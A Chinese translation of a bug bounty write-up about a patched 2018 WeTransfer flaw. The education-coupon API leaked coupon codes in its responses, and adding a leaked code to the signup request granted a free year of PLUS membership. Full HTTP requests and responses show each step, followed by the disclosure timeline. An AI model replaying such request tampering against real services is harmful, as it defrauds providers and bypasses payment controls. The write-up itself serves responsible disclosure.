大概两个月前,由于我需要发送一个 15G 的文件,我的一个朋友借给我了他的 WeTransfer 账户使用,我留意了一下,他的这种 WeTransfer PLUS 会员每年的注册费是 120 欧元。出于挖洞者的好奇之心,我决定来看看 WeTransfer 的这种账户管理机制是否存在漏洞,非常凑巧,我由此发现了价值€500 欧元的漏洞一枚。一切请听我详细说来。 WeTransfer 是荷兰一个基于云端的免费超大文件临时中转网站,用户可以在网站进行免费的文件保存传输,每次的最大限度为 2GB,文件保存时间为两周。WeTransfer 具有许多人性化的功能:如无需注册、个性化上传设置、自由更换背景设置、上传文件自动接受病毒扫描等。WeTransfer 的这些独特之处,使得其备受用户推崇使用。
寻找突破口 首先,我打算测试 WeTransfer 的支付系统,看其是否存在绕过漏洞,能免费猥琐的获得 PLUS 会员资格。为此,我先作了大量的请求测试,但没获取到任何有用信息。于是,我决定在 Google 里搜索“wetransfer plus free”试试,看看 WeTransfer 有没有发布什么促销方式,或许我可以从这个点下手突破。 从以上 Google 搜索结果中可以看出,WeTransfer 针对用 .edu 邮箱注册的高校学生用户,可以免费提供一年的 PLUS 会员资格。 所以,随便用一个 .edu 为后缀的学校邮箱进行注册,它会有以下提示: 发现漏洞异常 可惜的是,由于我手边确实没有,也获取不到任何学校类邮箱,所以,注册成功也获取不到确认链接啊,这就有点蛋疼了。但是,通过观察,我发现 WeTransfer 与发件人之间的一些消息机制存在问题。比如说,我用伪造的邮箱 [email protected] 进行注册,其向 WeTransfer 网站发送出去的 HTTP 请求是这样的: POST /api/ui/education/coupons HTTP/1.1 Host: wetransfer.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Referer: https://wetransfer.com/ X-Requested-With: XMLHttpRequest Content-Type: application/json Content-Length: 37 Cookie: <YOUR-COOKIES> Connection: close {“email”:”[email protected]”}
从这个 POST 中可以看出请求链接是/api/ui/education/coupons,coupon,优惠券!其它也没任何可疑之处,但是,当我检查这个 POST 的响应消息时,却发现了一些异常: HTTP/1.1 200 OK Date: Sat, 24 Mar 2018 10:34:02 GMT Content-Type: application/json Content-Length: 28 Connection: close X-Compatibility-Version: 5 Set-Cookie: <Your-Cookies> X-Content-Type-Options: nosniff Vary: Accept-Encoding, Origin ETag: Cache-Control: max-age=0, private, must-revalidate X-Request-Id: X-Opaque: X-Runtime: 0.089711 Strict-Transport-Security: max-age=15552000; includeSubDomains; { “code”: “9e0bca0a6d92” }
响应消息中包含了一个“9e0bca0a6d92“的代码串,这个代码串应该就像注册成功给出的信息说明“我们会向你的邮箱发送一个会员资格确认链接”,也就是说,本来 WeTransfer 网站会向用户的注册邮箱中发送一个确认链接的,这个链接和这个代码串应该都是由网站 API 针对某个特定注册邮箱生成的,都具备唯一验证性功效,但是呢,这里的 HTTP 响应消息却不经意间就泄露了这个验证代码串。在此,我估计这个代码串就是 coupon code (优惠券验证码)。 深入利用 所以,明白了 WeTransfer 网站的这种验证码生成机制,就剩下想办法来看看怎么利用了。首先,我想到的是,看看它的通常的注册页面是否存在这种验证码泄露问题。为此,我来到 WeTransfer 网站的 PLUS 会员注册页面 https://wetransfer.com/plus 进行普通注册,由于在注册页面开始或设置区域没有添加优惠券代码或验证码的地方,因此,我只能深入看看注册以后,能不能进行一些有效性验证。先点击“Annual subscription”,即包年 120 欧元注册的选项,填完详细的个人信息,点击提交。 这里我拦截到的网站请求包大致如下: POST /api/ui/users HTTP/1.1 Host: wetransfer.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Referer: https://wetransfer.com/ X-Requested-With: XMLHttpRequest Content-Type: application/json Content-Length: 485 Cookie: <Cookies> Connection: close {“billing”:”yearly”,”full_name”:”Khizer Javed”,”email”:”[email protected]”,”password”:”hahahaha@@##$_$##@@hahahaha”,”password_confirm”:”hahahaha@@##$_$##@@hahahaha”,”company_name”:”TestAccount-Res”,”street_and_number”:”Test address 10133″,”city”:”Islamabad”,”zipcode”:”44800″,”country_code”:”PK”,”vat_number”:””,”terms_of_service”:true,”convert”:””,”sig”:””,”trk”:”WT201610_HalfPanel_GotPlusClick”,”wt_sent”:0,”wt_from”:””,”page_version”:30,”language”:”en”}
看到其中存在的 country_code、vat_number 和 street_and_number 之类的构造,结合之前的学生优惠条件,我又按照其请求测试生成了一个优惠券代码 5a9fa8cc51c3,并构造出“coupon_code”:”5a9fa8cc51c3″字段,把它添加到 POST 请求之中,再次进行发送: {“billing”:”yearly”,”full_name”:”Khizer Javed”,”email”:”[email protected]”,”password”:”hahahaha@@##$_$##@@hahahaha”,”password_confirm”:”hahahaha@@##$_$##@@hahahaha”,”company_name”:”TestAccount-Res”,”street_and_number”:”Test address 10133″,”city”:”Islamabad”,”zipcode”:”44800″,”country_code”:”PK”,”vat_number”:””,”terms_of_service”:true,”coupon_code”:”5a9fa8cc51c3″,”convert”:””,”sig”:””,”trk”:”WT201610_HalfPanel_GotPlusClick”,”wt_sent”:0,”wt_from”:””,”page_version”:30,”language”:”en”}
转发该请求之后,其响应消息如下: HTTP/1.1 201 Created Date: Sat, 24 Mar 2018 10:26:29 GMT Content-Type: application/json Content-Length: 692 Connection: close X-Compatibility-Version: 5 X-Content-Type-Options: nosniff Vary: Accept-Encoding, Origin ETag: Cache-Control: max-age=0, private, must-revalidate X-Request-Id: X-Opaque: X-Runtime: 0.449633 Strict-Transport-Security: max-age=15552000; includeSubDomains; { “user”: { “active_subscription”: false, “subscription_expires_at”: null, “autorenewal_enabled”: false, “autorenewal_failed”: false, “manual_payment_option_available”: true, “profile_picture_url”: null, “profile_picture_thumbnail_url”: null, “subdomain_name”: null, “language”: “en”, “transfer_default_expiry”: 2592000, “full_name”: “Khizer Javed”, “storage_full”: false, “id”: 1431584, “email”: “[email protected]” }, “order_completed”: { “successful”: true, “renewal”: false, “duration”: “year”, “free”: true }, “redirect_to_url”: “http://wetransfer.com/payment/completed?duration=year” }
GOD,竟然就这样成功获得了价值 120 欧一年的 PLUS 会员资格,真是不敢相信! 漏洞报送进程 2018. 3.24 漏洞初报 2018. 3.25 wetransfer 对漏洞进行响应 2018. 5.15 漏洞修复 最终奖金: €500 欧元
*参考来源:securitybreached,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM |